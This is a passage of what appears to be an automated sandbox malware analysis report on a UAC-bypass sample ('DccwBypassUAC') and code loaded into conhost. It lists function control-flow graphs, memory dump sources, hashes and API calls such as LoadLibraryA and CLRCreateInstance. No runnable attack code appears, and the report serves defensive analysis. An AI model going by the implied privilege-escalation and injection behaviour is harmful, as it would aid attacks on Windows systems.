                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
                                                                      • String ID:
                                                                      • API String ID: 1775671525-0
                                                                      • Opcode ID: 1d0b581c9ba23ee3c5c2f13c088af8e95f9c0838a5aae8d18a75c8e096495f29
                                                                      • Instruction ID: 04943c2d9a8f3164ca67301256724cf9e80166441f8b39f89db73ca4aaed0e1f
                                                                      • Opcode Fuzzy Hash: 1d0b581c9ba23ee3c5c2f13c088af8e95f9c0838a5aae8d18a75c8e096495f29
                                                                      • Instruction Fuzzy Hash: E141BE26B04A5691EA14DB12E40427D6665EBB8BE4F540339EA7CC7BD4EE7CE145C300
                                                                      Function 00007FF6FE424540 Relevance: 6.1, APIs: 4, Instructions: 88COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      • memcpy.VCRUNTIME140(?,?,?,?,?,?,?,7FFFFFFFFFFFFFFE,00000000,00000000,00000000,?,00007FF6FE423D95), ref: 00007FF6FE4245B9
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: memcpy
                                                                      • String ID:
                                                                      • API String ID: 3510742995-0
                                                                      • Opcode ID: 77ccc6e8907d353bd714dcd95fc1271b455f45f8f9aedd1a4c855f9bd9a1b2e3
                                                                      • Instruction ID: 6d9437685102617045fd4ae4b6da328a464e43259faaba87c50aa89f586128c8
                                                                      • Opcode Fuzzy Hash: 77ccc6e8907d353bd714dcd95fc1271b455f45f8f9aedd1a4c855f9bd9a1b2e3
                                                                      • Instruction Fuzzy Hash: A4319121A0874385EF149F2194402A92AA4EBF4BB0F684B38FA7DC77C5EF7CE5918304
                                                                      Function 00007FF6FE423ED0 Relevance: 6.1, APIs: 4, Instructions: 85COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000005.00000002.2150140450.00007FF6FE421000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6FE420000, based on PE: true
                                                                      • Associated: 00000005.00000002.2150100642.00007FF6FE420000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150178541.00007FF6FE435000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                      • Associated: 00000005.00000002.2150201679.00007FF6FE44E000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_5_2_7ff6fe420000_DccwBypassUAC.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: memcpy$Concurrency::cancel_current_task
                                                                      • String ID:
                                                                      • API String ID: 326894585-0
                                                                      • Opcode ID: 5dd09d73aa983ce7bb35d5bead709a2e4f0fdc143133a9c54abfcc179b104b40
                                                                      • Instruction ID: 8b95c81a62b1a60e871de03dadd34dea98ffe4f1370fdf63566762245dd6b33a
                                                                      • Opcode Fuzzy Hash: 5dd09d73aa983ce7bb35d5bead709a2e4f0fdc143133a9c54abfcc179b104b40
                                                                      • Instruction Fuzzy Hash: 35318122A0974385EB20AF51A5402796A71ABB5BF0F640778FA7DC77D5EE3CE4518304

                                                                      Execution Graph

                                                                      Execution Coverage:10.5%
                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                      Signature Coverage:0%
                                                                      Total number of Nodes:21
                                                                      Total number of Limit Nodes:2
                                                                      execution_graph 2356 236c517d4af LoadLibraryA 2357 236c517d4c7 2356->2357 2358 236c517e306 2359 236c517e328 2358->2359 2360 236c517e454 LoadLibraryA 2359->2360 2361 236c517e37c 2359->2361 2362 236c517e469 2359->2362 2360->2359 2362->2361 2364 236c517e51d 2362->2364 2377 236c517d4a2 2362->2377 2364->2361 2372 236c517e0b2 2364->2372 2365 236c517e4f3 2366 236c517e4f7 2365->2366 2370 236c517d5ba LoadLibraryA 2365->2370 2366->2361 2366->2365 2369 236c517e50c 2369->2361 2369->2364 2371 236c517d5df 2370->2371 2371->2369 2373 236c517e0f2 CLRCreateInstance 2372->2373 2375 236c517e10b 2372->2375 2373->2375 2374 236c517e2b2 2374->2361 2375->2374 2376 236c517e2a9 SafeArrayDestroy 2375->2376 2376->2374 2378 236c517d4af LoadLibraryA 2377->2378 2379 236c517d4c7 2378->2379 2379->2365

                                                                      Executed Functions

                                                                      Function 00000236C517E306 Relevance: 1.9, APIs: 1, Instructions: 378libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 35 236c517e306-236c517e357 call 236c517f4de * 3 42 236c517e389 35->42 43 236c517e359-236c517e35c 35->43 44 236c517e38c-236c517e39d 42->44 43->42 45 236c517e35e-236c517e361 43->45 45->42 46 236c517e363-236c517e37a 45->46 48 236c517e39e-236c517e3c9 call 236c517fa5e call 236c517fa7e 46->48 49 236c517e37c-236c517e383 46->49 55 236c517e406-236c517e41d call 236c517f4de 48->55 56 236c517e3cb-236c517e400 call 236c517f692 call 236c517f552 48->56 49->42 51 236c517e385 49->51 51->42 55->42 61 236c517e423-236c517e424 55->61 56->55 67 236c517e662-236c517e673 56->67 63 236c517e42a-236c517e430 61->63 65 236c517e432 63->65 66 236c517e469-236c517e473 63->66 70 236c517e434-236c517e436 65->70 71 236c517e4a1-236c517e4aa 66->71 72 236c517e475-236c517e490 call 236c517f4de 66->72 68 236c517e675-236c517e67f 67->68 69 236c517e6a6-236c517e6c7 call 236c517fa7e 67->69 68->69 73 236c517e681-236c517e69f call 236c517fa7e 68->73 98 236c517e6c9 69->98 99 236c517e6cd-236c517e6cf 69->99 74 236c517e450-236c517e452 70->74 75 236c517e438-236c517e43e 70->75 78 236c517e4c5-236c517e4c8 71->78 79 236c517e4ac-236c517e4b6 call 236c517d6d2 71->79 72->67 91 236c517e496-236c517e49f 72->91 73->69 74->66 83 236c517e454-236c517e467 LoadLibraryA 74->83 75->74 82 236c517e440-236c517e44e 75->82 78->67 81 236c517e4ce-236c517e4d8 78->81 79->67 92 236c517e4bc-236c517e4c3 79->92 89 236c517e4e2-236c517e4e9 81->89 90 236c517e4da-236c517e4db 81->90 82->70 82->74 83->63 93 236c517e4eb-236c517e4ec 89->93 94 236c517e51d-236c517e521 89->94 90->89 91->71 91->72 92->89 97 236c517e4ee call 236c517d4a2 93->97 100 236c517e527-236c517e549 94->100 101 236c517e5fd-236c517e605 94->101 104 236c517e4f3-236c517e4f5 97->104 98->99 99->44 100->67 111 236c517e54f-236c517e569 call 236c517fa5e 100->111 102 236c517e657-236c517e65d call 236c517eb0e 101->102 103 236c517e607-236c517e60d 101->103 102->67 106 236c517e60f-236c517e615 103->106 107 236c517e624-236c517e636 call 236c517e0b2 103->107 108 236c517e504-236c517e507 call 236c517d5ba 104->108 109 236c517e4f7-236c517e4fe 104->109 106->67 112 236c517e617-236c517e622 call 236c517ef6a 106->112 121 236c517e648-236c517e655 call 236c517db52 107->121 122 236c517e638-236c517e643 call 236c517e6d6 107->122 118 236c517e50c-236c517e50e 108->118 109->67 109->108 124 236c517e589-236c517e5b2 111->124 125 236c517e56b-236c517e56e 111->125 112->67 118->94 123 236c517e510-236c517e517 118->123 121->67 122->121 123->67 123->94 124->67 133 236c517e5b8-236c517e5f8 124->133 125->101 128 236c517e574-236c517e587 call 236c517f7e2 125->128 134 236c517e5fa-236c517e5fb 128->134 133->67 133->134 134->101
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000236C4F60000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_236c4f60000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: 3e59d4ab724c08e6b22ba473b307acd4b5c1413bc74445e9518118106af40b14
                                                                      • Instruction ID: d937f01c3d69c4588e39c4e0034672639d8733a425468ebac959138ba3f5fcc4
                                                                      • Opcode Fuzzy Hash: 3e59d4ab724c08e6b22ba473b307acd4b5c1413bc74445e9518118106af40b14
                                                                      • Instruction Fuzzy Hash: C8C1EA303149096BEB58DA3DCCDD7B977D5FB98340F14962AD58BC3582DB28EE42CA81
                                                                      Function 00007FFD344A50F6 Relevance: .5, Instructions: 474COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 200 7ffd344a50f6-7ffd344a5103 201 7ffd344a5105-7ffd344a510d 200->201 202 7ffd344a510e-7ffd344a51d7 200->202 201->202 206 7ffd344a51d9-7ffd344a51e2 202->206 207 7ffd344a5243 202->207 206->207 209 7ffd344a51e4-7ffd344a51f0 206->209 208 7ffd344a5245-7ffd344a526a 207->208 216 7ffd344a52d6 208->216 217 7ffd344a526c-7ffd344a5275 208->217 210 7ffd344a5229-7ffd344a5241 209->210 211 7ffd344a51f2-7ffd344a5204 209->211 210->208 213 7ffd344a5206 211->213 214 7ffd344a5208-7ffd344a521b 211->214 213->214 214->214 215 7ffd344a521d-7ffd344a5225 214->215 215->210 219 7ffd344a52d8-7ffd344a5380 216->219 217->216 218 7ffd344a5277-7ffd344a5283 217->218 220 7ffd344a5285-7ffd344a5297 218->220 221 7ffd344a52bc-7ffd344a52d4 218->221 230 7ffd344a53ee 219->230 231 7ffd344a5382-7ffd344a538c 219->231 223 7ffd344a5299 220->223 224 7ffd344a529b-7ffd344a52ae 220->224 221->219 223->224 224->224 226 7ffd344a52b0-7ffd344a52b8 224->226 226->221 232 7ffd344a53f0-7ffd344a5419 230->232 231->230 233 7ffd344a538e-7ffd344a539b 231->233 239 7ffd344a541b-7ffd344a5426 232->239 240 7ffd344a5483 232->240 234 7ffd344a539d-7ffd344a53af 233->234 235 7ffd344a53d4-7ffd344a53ec 233->235 237 7ffd344a53b1 234->237 238 7ffd344a53b3-7ffd344a53c6 234->238 235->232 237->238 238->238 241 7ffd344a53c8-7ffd344a53d0 238->241 239->240 242 7ffd344a5428-7ffd344a5436 239->242 243 7ffd344a5485-7ffd344a5516 240->243 241->235 244 7ffd344a5438-7ffd344a544a 242->244 245 7ffd344a546f-7ffd344a5481 242->245 251 7ffd344a551c-7ffd344a552b 243->251 246 7ffd344a544c 244->246 247 7ffd344a544e-7ffd344a5461 244->247 245->243 246->247 247->247 249 7ffd344a5463-7ffd344a546b 247->249 249->245 252 7ffd344a552d 251->252 253 7ffd344a5533-7ffd344a5598 call 7ffd344a55b4 251->253 252->253 260 7ffd344a559a 253->260 261 7ffd344a559f-7ffd344a55b3 253->261 260->261
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: fd53a7154f7017f0f8dbb5b6e012765d86534a99884654000df1e62ec1a7e5b3
                                                                      • Instruction ID: 079588fd0e43b21b13defefedcb29e1487b9683c454d5de2f6fe89215c136cf2
                                                                      • Opcode Fuzzy Hash: fd53a7154f7017f0f8dbb5b6e012765d86534a99884654000df1e62ec1a7e5b3
                                                                      • Instruction Fuzzy Hash: 7BF1B430A09A4D8FEBE8DF28D8557E977E1FF55310F04427AE84DC7295CB78A9448B81
                                                                      Function 00007FFD344A5EA2 Relevance: .5, Instructions: 460COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 262 7ffd344a5ea2-7ffd344a5eaf 263 7ffd344a5eba-7ffd344a5f87 262->263 264 7ffd344a5eb1-7ffd344a5eb9 262->264 268 7ffd344a5f89-7ffd344a5f92 263->268 269 7ffd344a5ff3 263->269 264->263 268->269 270 7ffd344a5f94-7ffd344a5fa0 268->270 271 7ffd344a5ff5-7ffd344a601a 269->271 272 7ffd344a5fd9-7ffd344a5ff1 270->272 273 7ffd344a5fa2-7ffd344a5fb4 270->273 278 7ffd344a6086 271->278 279 7ffd344a601c-7ffd344a6025 271->279 272->271 274 7ffd344a5fb6 273->274 275 7ffd344a5fb8-7ffd344a5fcb 273->275 274->275 275->275 277 7ffd344a5fcd-7ffd344a5fd5 275->277 277->272 281 7ffd344a6088-7ffd344a60ad 278->281 279->278 280 7ffd344a6027-7ffd344a6033 279->280 282 7ffd344a6035-7ffd344a6047 280->282 283 7ffd344a606c-7ffd344a6084 280->283 288 7ffd344a611b 281->288 289 7ffd344a60af-7ffd344a60b9 281->289 284 7ffd344a6049 282->284 285 7ffd344a604b-7ffd344a605e 282->285 283->281 284->285 285->285 287 7ffd344a6060-7ffd344a6068 285->287 287->283 290 7ffd344a611d-7ffd344a614b 288->290 289->288 291 7ffd344a60bb-7ffd344a60c8 289->291 297 7ffd344a61bb 290->297 298 7ffd344a614d-7ffd344a6158 290->298 292 7ffd344a60ca-7ffd344a60dc 291->292 293 7ffd344a6101-7ffd344a6119 291->293 295 7ffd344a60de 292->295 296 7ffd344a60e0-7ffd344a60f3 292->296 293->290 295->296 296->296 299 7ffd344a60f5-7ffd344a60fd 296->299 301 7ffd344a61bd-7ffd344a6295 297->301 298->297 300 7ffd344a615a-7ffd344a6168 298->300 299->293 302 7ffd344a616a-7ffd344a617c 300->302 303 7ffd344a61a1-7ffd344a61b9 300->303 311 7ffd344a629b-7ffd344a62aa 301->311 304 7ffd344a617e 302->304 305 7ffd344a6180-7ffd344a6193 302->305 303->301 304->305 305->305 308 7ffd344a6195-7ffd344a619d 305->308 308->303 312 7ffd344a62ac 311->312 313 7ffd344a62b2-7ffd344a6314 call 7ffd344a6330 311->313 312->313 320 7ffd344a6316 313->320 321 7ffd344a631b-7ffd344a632f 313->321 320->321
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: fd94fee5c0d78c6426388b6be04bdbd9b077cf83c5475ba81d0dc4093fe93df2
                                                                      • Instruction ID: 90b0ce09d93e747228a6a48c0b40d0f5492eeef57a7243e05ef1e8056e239ab6
                                                                      • Opcode Fuzzy Hash: fd94fee5c0d78c6426388b6be04bdbd9b077cf83c5475ba81d0dc4093fe93df2
                                                                      • Instruction Fuzzy Hash: 65E1D630A09A4D8FEBA8DF28C8957E977E1FF55311F04427EE84DC7295CE7898458B81
                                                                      Function 00000236C517E0B2 Relevance: 3.2, APIs: 2, Instructions: 235COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000236C4F60000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_236c4f60000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: ArrayCreateDestroyInstanceSafe
                                                                      • String ID:
                                                                      • API String ID: 3902440814-0
                                                                      • Opcode ID: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction ID: a248e932a176153c549e74bc25427a7771d1286dc2c4b0f6fda9cdf1871b641b
                                                                      • Opcode Fuzzy Hash: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction Fuzzy Hash: C1818F31208B088FDB68EF39C88CBA677E5FF98301F004A6ED58BC7551EA31E6458B41
                                                                      Function 00000236C517D5BA Relevance: 1.6, APIs: 1, Instructions: 125libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 136 236c517d5ba-236c517d5dd LoadLibraryA 137 236c517d5df-236c517d5e4 136->137 138 236c517d5e9-236c517d5fc 136->138 139 236c517d6c0-236c517d6d0 137->139 141 236c517d6be 138->141 142 236c517d602-236c517d613 138->142 141->139 142->141 143 236c517d619-236c517d631 142->143 143->141 145 236c517d637-236c517d66b call 236c517fa5e 143->145 145->141 150 236c517d66d-236c517d67e 145->150 150->141 151 236c517d680-236c517d697 150->151 151->141 153 236c517d699-236c517d6b9 call 236c517fa5e 151->153 153->137
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000236C4F60000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_236c4f60000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: b9899973228e27afe5cd12ba725bdcaa8ab2dda5fbf9bec908c7854605e3daf5
                                                                      • Instruction ID: 080fafd063478229917eb328b16051ab1267a1a76e68b02875eafd64c0f9414f
                                                                      • Opcode Fuzzy Hash: b9899973228e27afe5cd12ba725bdcaa8ab2dda5fbf9bec908c7854605e3daf5
                                                                      • Instruction Fuzzy Hash: 7631A53131CA0C4FDB48AB2DDC4D26A77D9E794350F10655AED4BC3286DE64DE0287C5
                                                                      Function 00000236C517D4AF Relevance: 1.6, APIs: 1, Instructions: 115libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 157 236c517d4af-236c517d4c5 LoadLibraryA 158 236c517d4d1-236c517d4e4 157->158 159 236c517d4c7-236c517d4cc 157->159 162 236c517d5a6 158->162 163 236c517d4ea-236c517d4fb 158->163 160 236c517d5a8-236c517d5b8 159->160 162->160 163->162 164 236c517d501-236c517d519 163->164 164->162 166 236c517d51f-236c517d553 call 236c517fa5e 164->166 166->162 171 236c517d555-236c517d566 166->171 171->162 172 236c517d568-236c517d57f 171->172 172->162 174 236c517d581-236c517d5a1 call 236c517fa5e 172->174 174->159
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000236C4F60000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_236c4f60000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction ID: 4288a9148b82b6a4a6f96a96c3ef282ed33ba69bf807c619a2bf2e37e7892d32
                                                                      • Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction Fuzzy Hash: A831C131318E184BDB54BA5CD88C3597BD6F7D8360F10165ADD4BC72C9DE64DE018782
                                                                      Function 00000236C517D4A2 Relevance: 1.5, APIs: 1, Instructions: 34libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 178 236c517d4a2-236c517d4c5 LoadLibraryA 180 236c517d4d1-236c517d4e4 178->180 181 236c517d4c7-236c517d4cc 178->181 184 236c517d5a6 180->184 185 236c517d4ea-236c517d4fb 180->185 182 236c517d5a8-236c517d5b8 181->182 184->182 185->184 186 236c517d501-236c517d519 185->186 186->184 188 236c517d51f-236c517d553 call 236c517fa5e 186->188 188->184 193 236c517d555-236c517d566 188->193 193->184 194 236c517d568-236c517d57f 193->194 194->184 196 236c517d581-236c517d5a1 call 236c517fa5e 194->196 196->181
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000236C4F60000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_236c4f60000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: b303b3a6f0a3f66d9fcfd97c32c677b44d27de96df93fd6c77a9731dba5744f5
                                                                      • Instruction ID: 643365e8718e7f01fd4281fa37fd2bcf3a30578c9f1e4826cd6684f95a026e46
                                                                      • Opcode Fuzzy Hash: b303b3a6f0a3f66d9fcfd97c32c677b44d27de96df93fd6c77a9731dba5744f5
                                                                      • Instruction Fuzzy Hash: 76E0D83121CA1D1FF758A59DD84E3756AD8E7952B5F00106FEA46C2101E04599910391
                                                                      Function 00007FFD344A01D3 Relevance: .3, Instructions: 337COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 384 7ffd344a01d3-7ffd344a02d9 405 7ffd344a031c-7ffd344a0349 384->405 406 7ffd344a02db-7ffd344a031b 384->406 412 7ffd344a038c-7ffd344a0428 405->412 413 7ffd344a034b-7ffd344a0389 405->413 406->405 426 7ffd344a0487-7ffd344a0492 412->426 427 7ffd344a042a-7ffd344a0486 412->427 413->412 429 7ffd344a0499-7ffd344a04b0 426->429 427->426 432 7ffd344a04ba-7ffd344a04d8 429->432
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 4d6691f5f2e9e287c78913dff65f2b3581d5879a80851deeded95aabd3202bab
                                                                      • Instruction ID: 341f8879d069f441cea55a214dfd308cfbfabc07db8c78768403cef6ab0b8703
                                                                      • Opcode Fuzzy Hash: 4d6691f5f2e9e287c78913dff65f2b3581d5879a80851deeded95aabd3202bab
                                                                      • Instruction Fuzzy Hash: 0791FC2770E1A51EE322B77DB4A55EA3F64DFC233671841B7D1C8CE093D819648B82A1
                                                                      Function 00007FFD344A0120 Relevance: .2, Instructions: 209COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 435 7ffd344a0120-7ffd344a12d1 443 7ffd344a12db-7ffd344a1341 435->443 444 7ffd344a12d3-7ffd344a12d4 435->444 451 7ffd344a1397-7ffd344a13e2 443->451 452 7ffd344a1343-7ffd344a1346 443->452 444->443 460 7ffd344a13e9-7ffd344a141e 451->460 454 7ffd344a1350-7ffd344a1395 452->454 454->460
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: b7ae53fb63f677669778cca8862b96555bb47b4d18c1eb0fe304a5080d059d7c
                                                                      • Instruction ID: 517d3bdd4def8313fc848f1c3180571b3cd6380a38715e293ec126e401309013
                                                                      • Opcode Fuzzy Hash: b7ae53fb63f677669778cca8862b96555bb47b4d18c1eb0fe304a5080d059d7c
                                                                      • Instruction Fuzzy Hash: C751D461B1DA841FE794EBBC446967ABBD1EF9A315F0405BDE0CEC32D3DD68A8428341
                                                                      Function 00007FFD344A02F0 Relevance: .2, Instructions: 204COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 464 7ffd344a02f0-7ffd344a0349 471 7ffd344a038c-7ffd344a0428 464->471 472 7ffd344a034b-7ffd344a0389 464->472 482 7ffd344a0487-7ffd344a0492 471->482 483 7ffd344a042a-7ffd344a0486 471->483 472->471 485 7ffd344a0499-7ffd344a04b0 482->485 483->482 488 7ffd344a04ba-7ffd344a04d8 485->488
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: c49e5ec6e5bc3b299ab6dd78a7558811a7e26d2232fa5aab03ff84ebcc14d794
                                                                      • Instruction ID: 8c66056f7266d192f6d11c609a11ff121a7513f3152e2a64a03ed18d565cded7
                                                                      • Opcode Fuzzy Hash: c49e5ec6e5bc3b299ab6dd78a7558811a7e26d2232fa5aab03ff84ebcc14d794
                                                                      • Instruction Fuzzy Hash: 2D512B2770F5951ED311BB7DA8A55F97B60EFC2335B1841BBC2C8CB093D919584B86A0
                                                                      Function 00007FFD344A1211 Relevance: .2, Instructions: 187COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 86b95f97330664ed5f25bc0032d2f196b59c35196d2c034e54e9f0153b06edb2
                                                                      • Instruction ID: 0fe17392e8a3bcea08e8a05854cea841ab2885ba1a15ba56fc19ecd2a0402074
                                                                      • Opcode Fuzzy Hash: 86b95f97330664ed5f25bc0032d2f196b59c35196d2c034e54e9f0153b06edb2
                                                                      • Instruction Fuzzy Hash: 82519461B0DA851FE794EBBC44696B9BBD1EF5A310F0405BDE48EC72D3DD68A8428341
                                                                      Function 00007FFD344A1092 Relevance: .2, Instructions: 173COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 521 7ffd344a1092-7ffd344a1099 522 7ffd344a109b 521->522 523 7ffd344a10a2-7ffd344a10b3 521->523 522->523 524 7ffd344a10b5 523->524 525 7ffd344a10bc-7ffd344a10cb 523->525 524->525 526 7ffd344a10cd 525->526 527 7ffd344a10d4-7ffd344a10e3 525->527 526->527 528 7ffd344a10e5 527->528 529 7ffd344a10ec-7ffd344a10fb 527->529 528->529 530 7ffd344a10fd 529->530 531 7ffd344a1104-7ffd344a1113 529->531 530->531 532 7ffd344a1115 531->532 533 7ffd344a111c-7ffd344a112b 531->533 532->533 534 7ffd344a112d 533->534 535 7ffd344a1134-7ffd344a1143 533->535 534->535 536 7ffd344a1145 535->536 537 7ffd344a114c-7ffd344a115b 535->537 536->537 538 7ffd344a115d 537->538 539 7ffd344a1164-7ffd344a1173 537->539 538->539 540 7ffd344a1175 539->540 541 7ffd344a117c-7ffd344a118b 539->541 540->541 542 7ffd344a118d 541->542 543 7ffd344a1194-7ffd344a11a3 541->543 542->543 544 7ffd344a11a5 543->544 545 7ffd344a11ac-7ffd344a11bb 543->545 544->545 546 7ffd344a11bd 545->546 547 7ffd344a11c4-7ffd344a11e2 545->547 546->547 550 7ffd344a11e9-7ffd344a11ee call 7ffd344a0120 547->550 552 7ffd344a11f3-7ffd344a120a 550->552
                                                                      Memory Dump Source
                                                                      • Source File: 00000007.00000002.2196476493.00007FFD344A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD344A0000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_7_2_7ffd344a0000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 09c65e99b25edf28283bafee3c09fc8974dd014a9e34dcf2abb07ec12a5a8764
